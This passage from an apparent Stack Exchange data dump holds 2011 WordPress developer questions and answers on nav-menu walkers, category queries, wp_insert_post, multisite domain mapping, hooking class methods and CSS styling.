errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Using $this when not in object context in /home/coupon/public_html/wp-includes/class-wp-walker.php on line 185&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mind you I have made absolutely no modifications to WordPress core, so I don't understand why there's an error in &lt;code&gt;class-wp-walker.php&lt;/code&gt;... I also don't understand why this error is just now showing up. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FINAL EDIT -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With help from &lt;a href=&quot;http://stackoverflow.com/questions/6862887/replacing-wordpress-core-functionality-with-a-plugin&quot;&gt;http://stackoverflow.com/questions/6862887/replacing-wordpress-core-functionality-with-a-plugin&lt;/a&gt; I have finally realized that I can use the &lt;code&gt;wp_nav_menu_args&lt;/code&gt; filter to pass my own walker class without copying the entirety of the &lt;code&gt;wp_nav_menu()&lt;/code&gt; function. I will be using this solution (solving this problem), although as mentioned above - I am having a new problem where my walker class is causing its parent class to throw a fatal error. I will make a new question for that since it's an issue with the Walker class and not with accessing menu items or passing a custom walker.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Task:&lt;/strong&gt; I need each sub-menu (second level or lower) to be divided into 5 columns (either 5 separate &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; elements or &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; elements wrapped around certain &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; elements).&lt;/p&gt;&#xA;" OwnerUserId="7429" LastEditorUserId="7429" LastEditorDisplayName="" LastEditDate="2011-07-28T23:25:24.890" LastActivityDate="2011-07-28T23:25:24.890" Title="How do I access the menus produced by Dashboard &gt; Appearance &gt; Menus" Tags="&lt;plugin-development&gt;&lt;filters&gt;&lt;menus&gt;&lt;navigation&gt;&lt;columns&gt;" AnswerCount="1" />
  <row Id="24372" PostTypeId="1" CreationDate="2011-07-28T22:09:25.640" Score="0" ViewCount="27" Body="&lt;p&gt;When a Wordpress admin inserts a photo and some text, I have the text split into columns, using  -moz-column-width. The problem is that this also makes a photo contained by the same column width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like the image to fill the span of two columns or 100% of the content area instead of being the same width as one column of text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem seems to be that Wordpress places images and text in the same paragraph tags with no way to target the image that I know of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot since my server is locked down:&lt;/strong&gt; &lt;a href=&quot;http://dl.dropbox.com/u/4088146/Screenshots/h.png&quot; rel=&quot;nofollow&quot;&gt;http://dl.dropbox.com/u/4088146/Screenshots/h.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;post-text&quot;&amp;gt;&#xA;&amp;lt;h1 class=&quot;title&quot; style=&quot;text-indent: 0px;&quot;&amp;gt;Viribus doloribus tempus, ratione quasi&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;http://make.truliablog.com/wp-content/uploads/2011/06/Leaderboards.png&quot;&amp;gt;&amp;lt;img width=&quot;1347&quot; height=&quot;1237&quot; alt=&quot;&quot; src=&quot;http://make.truliablog.com/wp-content/uploads/2011/06/Leaderboards.png&quot; title=&quot;Leaderboards&quot; class=&quot;alignnone size-full wp-image-2470&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;Lorem ipsum dolor sit amet dolorem proident utilitatis magnus agris. Abutebatur architecto propter ut materia. Quam quo aliquip, officii voluptatem. Qui pariatur officii eos.&amp;lt;br&amp;gt;&#xA;Lorem ipsum dolor sit amet cum tenetur animi. Et laboris aut aspexerat fugiat. Ipsa amet quoddam colebatur propter. Qui tempore et magna sibi. Id ipsum deinde, repellat minim. Mollit odit culpa qui aut. Adipisci vel delectus, pariatur propagabant. Consequatur sibi vero, voluptate consequatur. Ipsa colebatur et, pariatur repellendus. Dolor ullam consequatur id.&amp;lt;br&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7433" LastActivityDate="2011-07-28T22:09:25.640" Title="In Wordprress, how can I make the width of an image larger than the -moz-column-width attribute I am using for text?" Tags="&lt;css&gt;" CommentCount="4" />
  <row Id="24373" PostTypeId="1" AcceptedAnswerId="24376" CreationDate="2011-07-28T22:12:53.167" Score="0" ViewCount="22" Body="&lt;p&gt;I'm running a query on a custom plugin to display all categories and put them into a dropdown (the select parts are outside the loop) which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$ember_categories = get_categories();&#xA;foreach($ember_categories as $ember_category) {&#xA;    echo '&amp;lt;option value=&quot;' . $ember_category-&amp;gt;cat_ID . '&quot;&amp;gt;' . $ember_category-&amp;gt;name . '&amp;lt;/option&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason though, it's only returning my default category (Uncategorized) - even though there are six more added to the system (including one I added afterwards, just as a curiosity). I'm wondering whether I'm doing something glaringly wrong?&lt;/p&gt;&#xA;" OwnerUserId="7434" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-28T22:16:30.030" LastActivityDate="2011-07-28T22:18:02.010" Title="get_categories returns an array with one category" Tags="&lt;categories&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24374" PostTypeId="2" ParentId="24371" CreationDate="2011-07-28T22:13:02.590" Score="0" ViewCount="" Body="&lt;p&gt;&lt;em&gt;First:&lt;/em&gt; Use, for &lt;code&gt;options()&lt;/code&gt;, the Settings API (&lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/?all=1&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Second:&lt;/em&gt; Take a look at the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/nav-menu-template.php#L137&quot; rel=&quot;nofollow&quot;&gt;core function&lt;/a&gt; and the available filters. Then take a look at the available filters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sorted_menu_items = apply_filters( 'wp_nav_menu_objects', $sorted_menu_items, $args );&#xA;$items = apply_filters( 'wp_nav_menu_items', $items, $args );&#xA;$items = apply_filters( &quot;wp_nav_menu_{$menu-&amp;gt;slug}_items&quot;, $items, $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-28T22:13:02.590" CommentCount="4" />
  <row Id="24375" PostTypeId="2" ParentId="24370" CreationDate="2011-07-28T22:14:46.303" Score="1" ViewCount="" Body="&lt;p&gt;Simply read the text, the import/export plugins offer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, pages, comments, custom fields, categories, and tags into this site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-28T22:14:46.303" CommentCount="2" />
  <row Id="24376" PostTypeId="2" ParentId="24373" CreationDate="2011-07-28T22:18:02.010" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;get_categories( array('hide_empty' =&amp;gt; 0 ) );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-28T22:18:02.010" />
  <row Id="24377" PostTypeId="1" AcceptedAnswerId="24390" CreationDate="2011-07-28T22:23:14.517" Score="1" ViewCount="49" Body="&lt;p&gt;Is there an exact opposite funciton to this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_the_title(ID) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know there's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_the_id()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seem to accept any arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically, I'm looking for something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$title = 'Something';&#xA;get_the_id($title);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already know this solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; global $wpdb;&#xA; $post_name = get_query_var('name');&#xA; $post_id = $wpdb-&amp;gt;get_var(&quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_name = $post_name&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But maybe there's something bulit-in that I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-07-29T00:25:02.647" Title="How to get page's ID if I know the title only?" Tags="&lt;title&gt;&lt;id&gt;&lt;get-the-title&gt;&lt;get-the-id&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24378" PostTypeId="2" ParentId="24220" CreationDate="2011-07-28T22:36:25.087" Score="1" ViewCount="" Body="&lt;p&gt;This plugin is capable of doing exactly what you are after&#xA;&lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.gravityforms.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-07-28T22:36:25.087" CommentCount="1" />
  <row Id="24379" PostTypeId="2" ParentId="12343" CreationDate="2011-07-28T22:42:09.647" Score="0" ViewCount="" Body="&lt;p&gt;You could do this with a customized sunrise.php file. This is essentially how the domain mapping plugin works, however it puts a pretty front end on it. For something custom, you can write some simple PHP to do basically the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The essence of multisite involves figuring out what site to serve. The Domain mapping plugin does this by creating a wp_domain_mapping table, and storing the information in there. Thus when it gets a request for xxx.com, it looks in that table and sees that that corresponds to blog_id 123.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make a WordPress setup, and make it multisite. Doesn't matter where it really lives, because we're going to change all that. For simplicity, I'd put it at blog.stackexchange.com and make it a subdirectory type site (those are easier). The subdirectories created would likely be the slugs. /wordpress, /apple, /whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, to start with, you are indeed making it live at blog.stackexchange.com/wordpress. Consider this your staging environment. When you create each site, you can do stuff to it here until you decide to turn on the mapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do domain mapping yourself, without the plugin, you'd do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step one: add &lt;code&gt;define( 'SUNRISE', 'on' );&lt;/code&gt; to the top of your wp-config.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step two: create a sunrise.php file in the wp-content directory. Put &lt;code&gt;&amp;lt;?php&lt;/code&gt; at the top to start with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step three: In the sunrise.php file is going to be your logic for determining what site to load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're going to base this on the &lt;code&gt;$_SERVER[ 'HTTP_HOST' ]&lt;/code&gt; variable. How you do that exactly is easy: however you want to do it. If you want to just write a regex to look for &lt;code&gt;'/blog\.(.*)\.stackexchange\.com/'&lt;/code&gt; and then look for that bit in the database, you can do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're using the same slug here as the &quot;subdirectory&quot;, you don't need a separate table. You can just look in the main wp_blogs table to find the site you need. Something similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$current_blog = $wpdb-&amp;gt;get_var( &quot;SELECT blog_id FROM {$wpdb-&amp;gt;blogs} WHERE path = '/wordpress/' LIMIT 1&quot; );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the $current_blog, then you need the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_blog-&amp;gt;domain = $_SERVER[ 'HTTP_HOST' ];&#xA;$current_blog-&amp;gt;path = '/';&#xA;$blog_id = $current_blog-&amp;gt;blog_id;&#xA;$site_id = $current_blog-&amp;gt;site_id;&#xA;$current_site = $wpdb-&amp;gt;get_row( &quot;SELECT * from {$wpdb-&amp;gt;site} WHERE id = '{$current_blog-&amp;gt;site_id}' LIMIT 0,1&quot; );&#xA;$current_site-&amp;gt;blog_id = $current_blog-&amp;gt;blog_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This pre-defines the $current_blog and $current_site global variables instead of letting WordPress' MU functions do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be enough to get the site up and working (after getting your DNS to point to it and getting the virtual hosting stuff sorted out), however most of the static URLs used in the HTML code would still point to blog.stackexchange.com/wordpress, since that's where the site would really be. Also, the Canonical URL function would probably not like the URL and would redirect you too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remedy these problems, you'd also likely want to pre-define several of the URLs associated with the site. Things like WP_SITEURL and WP_HOME. Also, WP_CONTENT_URL, WP_PLUGIN_URL, and WPMU_PLUGIN_URL. That should cover most cases of the URLs being adjusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you'll want to set the 'COOKIE_DOMAIN'. Since you likely want logins to be shared across the whole of the thing, you can set it to stackexchange.com, or even higher if you don't want them to be shared logins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to talk about integrating the normal stackexchange login system into WordPress, I can answer questions on that too, but it would be a bit more detailed of an answer. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to email me if you want more help with this. Glad to assist: otto at wordpress.org.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-28T22:42:09.647" />
  <row Id="24380" PostTypeId="1" CreationDate="2011-07-28T22:42:42.317" Score="1" ViewCount="27" Body="&lt;p&gt;I've had a read of the existing posts on here and still can't see why my instance is doing this, but I'm using wp_insert_post to add a post with some data it's given, and it's inserting the post just fine but the function is returning 0 in place of the post ID - does it have to be triggered to use this? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ember_prepare_post = array(&#xA;    'post_author' =&amp;gt; $ember_current_user_id,&#xA;    'post_category' =&amp;gt; $ember_post_category,&#xA;    'post_content' =&amp;gt; $ember_post_content,&#xA;    'post_title' =&amp;gt; $ember_post_title,&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_excerpt' =&amp;gt; $ember_post_excerpt,&#xA;    'tags_input' =&amp;gt; $ember_post_tags&#xA;    );&#xA;&#xA;// now we've prepared an array with the data, we're going to save it into the WP database and obtain the resulting post ID.&#xA;&#xA;$ember_newpost_id = wp_insert_post($ember_prepare_post, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not seeing any errors, and have had a read of the wp_insert_post function itself and cannot see why it wouldn't work. The ID's of the posts it creates definitely aren't zero, either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7434" LastActivityDate="2011-07-28T22:42:42.317" Title="wp_insert_post not returning post ID?" Tags="&lt;wp-insert-post&gt;" CommentCount="1" />
  <row Id="24381" PostTypeId="2" ParentId="24166" CreationDate="2011-07-28T22:48:52.043" Score="0" ViewCount="" Body="&lt;p&gt;Ensure it's not in your rewrite rules and specify a page to act as the posts page and it should go away. :)&lt;/p&gt;&#xA;" OwnerUserId="7434" LastActivityDate="2011-07-28T22:48:52.043" />
  <row Id="24382" PostTypeId="1" AcceptedAnswerId="24392" CreationDate="2011-07-28T23:30:05.940" Score="0" ViewCount="30" Body="&lt;p&gt;The Block Bad Queries Plugin hasn't been updated recently.  Is WordPress still subject to these types of malicious attacks or has it been hardened sufficiently to make the plugin obsolete? Is there an alternative?&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-07-29T00:33:23.157" Title="Is the Block Bad Queries Plugin Still Relevant?" Tags="&lt;plugins&gt;&lt;security&gt;" AnswerCount="1" />
  <row Id="24383" PostTypeId="1" CreationDate="2011-07-28T23:53:58.680" Score="0" ViewCount="18" Body="&lt;p&gt;We have WordPress 3.1 with Thesis Theme 1.7 and Shopp 1.1.9. For some reason yesterday all urls for Shopp started showing up as 404 pages. We have tried to disable and enable Shopp, and have looked at its error logs. There are no errors for these 404 pages at all. The last error there was from a day or two ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone faced a problem like this with Shopp and WordPress? We have posted on their forums and asked their support, but they seem to be taking a long time to respond.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7438" LastActivityDate="2011-07-28T23:53:58.680" Title="Shopp plugin showing 404 on all urls" Tags="&lt;plugin-shopp&gt;" />
  <row Id="24384" PostTypeId="1" CreationDate="2011-07-28T23:58:39.963" Score="0" ViewCount="19" Body="&lt;p&gt;I created a custom theme awhile back, and everything has worked fine up until now. All of a sudden, my theme was reverted back to the default twenty eleven theme because apparently my custom theme is missing it's stylesheet, but the stylesheet is clearly there. I link to it correctly and everything. I don't understand why all of a sudden it would stop working? Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="7222" LastActivityDate="2011-07-29T00:16:27.303" Title="My blog suddenly can't find my stylesheet?" Tags="&lt;themes&gt;&lt;customization&gt;&lt;errors&gt;&lt;stylesheet&gt;" AnswerCount="1" />
  <row Id="24385" PostTypeId="2" ParentId="24260" CreationDate="2011-07-29T00:07:07.827" Score="0" ViewCount="" Body="&lt;p&gt;I think I've answered my own question sort of.... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I was using a child theme of Hybrid I activated the cleaner gallery extension in the functions.php file: &lt;code&gt;add_theme_support( 'cleaner-gallery' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, based on the topic &lt;a href=&quot;http://themehybrid.com/support/topic/cleaner-gallery-link-to-larger-image&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; I created my own filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'cleaner_gallery_image', 'my_gallery_image', 10, 4 );&#xA;function my_gallery_image( $image, $id, $attr, $instance ) {&#xA;&#xA;        $post = get_post( $id );&#xA;        $image_src = wp_get_attachment_image_src( $post-&amp;gt;ID, 'medium' );&#xA;        $image_thumb = wp_get_attachment_image_src( $post-&amp;gt;ID, 'Custom Thumb' );&#xA;        $title = esc_attr( $post-&amp;gt;post_title );&#xA;&#xA;        $image = &quot;&amp;lt;a href='{$image_src[0]}'&amp;gt;&amp;lt;img src='{$image_thumb[0]}' border='0'&amp;gt;&amp;lt;/a&amp;gt;&quot;;&#xA;&#xA;    return $image;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are still things that are not right such as the title, but it answers the original question, though I'm sure it could be improved on as I'm rather going by the seat of my pants....&lt;/p&gt;&#xA;" OwnerUserId="7401" LastEditorUserId="7401" LastEditorDisplayName="" LastEditDate="2011-07-29T01:08:00.737" LastActivityDate="2011-07-29T01:08:00.737" />
  <row Id="24386" PostTypeId="2" ParentId="24166" CreationDate="2011-07-29T00:12:47.993" Score="0" ViewCount="" Body="&lt;p&gt;What @iampearce said is basically right, but to be a bit more specific: look in Settings &gt; Pewrmalinks. Choose one of the defaults - maybe %year%/%postname% - and click Save. Does that help? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't fix it, look in Settings &gt; Reading and check that the &quot;front page&quot; and the &quot;posts page&quot; are not set to the same page via the dropdowns there. If you want your front page (home page) to be the blog page, just choose &quot;Your Latest Posts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-29T00:12:47.993" CommentCount="1" />
  <row Id="24387" PostTypeId="1" AcceptedAnswerId="24389" CreationDate="2011-07-29T00:15:05.007" Score="0" ViewCount="45" Body="&lt;p&gt;I wasn't sure if this was a PHP issue (suited for StackOverflow) or a WordPress issue (suited for StackExchange), however since my issue &lt;strong&gt;appears&lt;/strong&gt; to be with the &lt;code&gt;add_action()&lt;/code&gt; function, I have placed the question here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some simplified code which causes the same issue (to avoid re-posting my couple-hundred line plugin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$class = new MyClass();&#xA;add_action('init', array($class, 'init'));&#xA;&#xA;class MyClass {&#xA;    public static function init() {&#xA;        $this-&amp;gt;core();&#xA;    }&#xA;    public static function core() {&#xA;        echo &quot;I never get this far...&quot;;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Fatal error&lt;/strong&gt;: Using $this when not in object context in &lt;strong&gt;/home/coupon/public_html/wp-content/plugins/test.php&lt;/strong&gt; on line &lt;strong&gt;7&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If my &lt;code&gt;add_action()&lt;/code&gt; call were instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'MyClass::init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I would understand this error (since the function was called statically and there is no instance of DEMenu for &lt;code&gt;$this&lt;/code&gt; to point to), however I don't understand why this is happening since I used an array and passed an instance of the class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My specific issue is actually related to this problem. I created a custom Walker class then used the &lt;code&gt;wp_nav_menu_args&lt;/code&gt; filter to pass my custom Walker. I get this error in &lt;code&gt;class-wp-walker.php&lt;/code&gt; on line &lt;strong&gt;185&lt;/strong&gt;. The line in particular is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id_field = $this-&amp;gt;db_fields['id'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;test.php&lt;/code&gt; is now functioning properly, but the original issue is not solved... As such here's my plugin's index.php file (simplified):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$DEMenu = new DEMenu();&#xA;&#xA;class DEMenu {&#xA;&#xA;    function DEMenu() {&#xA;        if (is_admin()) {&#xA;            add_action('admin_menu', array(&amp;amp;$this, 'admin'));&#xA;        } else {&#xA;            add_action('init', array(&amp;amp;$this, 'core'));&#xA;        }&#xA;    }&#xA;&#xA;    public function admin() {&#xA;        /* Not important */&#xA;    }&#xA;&#xA;    public function core() {&#xA;        add_filter('wp_nav_menu_args', array(&amp;amp;$this, 'add_walker'));&#xA;    }&#xA;&#xA;    public function add_walker( $args ) {&#xA;        $args['walker'] = 'DEMenu_Walker';&#xA;        return $args;&#xA;    }&#xA;&#xA;}&#xA;&#xA;class DEMenu_Walker extends Walker_Nav_Menu {&#xA;&#xA;    function __construct() {&#xA;        die(&quot;We made it to the constructor!&quot;);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As mentioned above, I am getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Fatal error&lt;/strong&gt;: Using $this when not in object context in &lt;strong&gt;/home/coupon/public_html/wp-includes/class-wp-walker.php&lt;/strong&gt; on line &lt;strong&gt;185&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the above &lt;code&gt;test.php&lt;/code&gt; was failing and since the &lt;code&gt;Walker_Nav_Menu&lt;/code&gt; class never has this error normally (not until I added my plugin) I figured the issue was with the one of my &lt;code&gt;add_action()&lt;/code&gt; or &lt;code&gt;add_filter()&lt;/code&gt; calls. However since it is still failing I'm not entirely sure where the issue is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FINAL EDIT -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carefully re-reading the &lt;code&gt;walk_nav_menu_tree()&lt;/code&gt; function, I have found the issue with my walker class...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function walk_nav_menu_tree( $items, $depth, $r ) {&#xA;        $walker = ( empty($r-&amp;gt;walker) ) ? new Walker_Nav_Menu : $r-&amp;gt;walker;&#xA;        $args = array( $items, $depth, $r );&#xA;&#xA;        return call_user_func_array( array(&amp;amp;$walker, 'walk'), $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;$walker&lt;/code&gt; is being set to &lt;code&gt;$r-&amp;gt;walker&lt;/code&gt; it is a string, not an instance of a class. Therefore the class method is called statically instead of via an instance of the class. Instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args['walker'] = 'DEMenu_Walker';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I should have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args['walker'] = new DEMenu_Walker();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Task&lt;/strong&gt;: Call a class method as a hook for a WordPress plugin so that the &lt;code&gt;$this&lt;/code&gt; variable is not broken&lt;/p&gt;&#xA;" OwnerUserId="7429" LastEditorUserId="7429" LastEditorDisplayName="" LastEditDate="2011-07-29T00:52:34.373" LastActivityDate="2011-07-29T00:52:34.373" Title="add_action with a class method is causing fatal errors" Tags="&lt;plugin-development&gt;&lt;add-action&gt;" AnswerCount="1" />
  <row Id="24388" PostTypeId="2" ParentId="24384" CreationDate="2011-07-29T00:16:27.303" Score="1" ViewCount="" Body="&lt;p&gt;Have you changed anything in the stylesheet? WordPress looks for the header of that file to be in a specific format. &lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Theme_Stylesheet&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development#Theme_Stylesheet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also check that all folders/filenames are consistent. Hopes this helps in some way - good luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-29T00:16:27.303" />
  <row Id="24389" PostTypeId="2" ParentId="24387" CreationDate="2011-07-29T00:23:50.390" Score="1" ViewCount="" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$class = new MyClass();&#xA;&#xA;class MyClass {&#xA;    public static function MyClass() {&#xA;       add_action('init', array(&amp;amp;$this, 'core'));&#xA;    }&#xA;    public static function core() {&#xA;        echo &quot;I never get this far...&quot;;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7439" LastActivityDate="2011-07-29T00:23:50.390" CommentCount="4" />
  <row Id="24390" PostTypeId="2" ParentId="24377" CreationDate="2011-07-29T00:25:02.647" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure how to get it via the title, but you can get it via the slug (which is often more useful in my experience) using this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://erikt.tumblr.com/post/278953342/get-a-wordpress-page-id-with-the-slug&quot; rel=&quot;nofollow&quot;&gt;http://erikt.tumblr.com/post/278953342/get-a-wordpress-page-id-with-the-slug&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just change &quot;$page&quot; to &quot;$post&quot; if you want to return slugs for posts instead of pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;G'luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-29T00:25:02.647" />
  <row Id="24391" PostTypeId="1" CreationDate="2011-07-29T00:28:42.300" Score="0" ViewCount="19" Body="&lt;p&gt;I'm attempting to create a print.css stylesheet for my site and I'm running into an interesting problem. When I print any page on my site, all the links on the page are printing the URL directly next to it and it's causing all kinds of styling issues. At first I thought it might be my browser or printer, but other sites don't have this issue. Is there some setting in the admin section to remove these? I'm using the Boilerplate theme, which may be causing this issue.&lt;/p&gt;&#xA;" OwnerUserId="6195" LastActivityDate="2011-07-31T10:48:36.703" Title="Wordpress Printing Link URLs" Tags="&lt;css&gt;&lt;stylesheet&gt;" AnswerCount="1" />
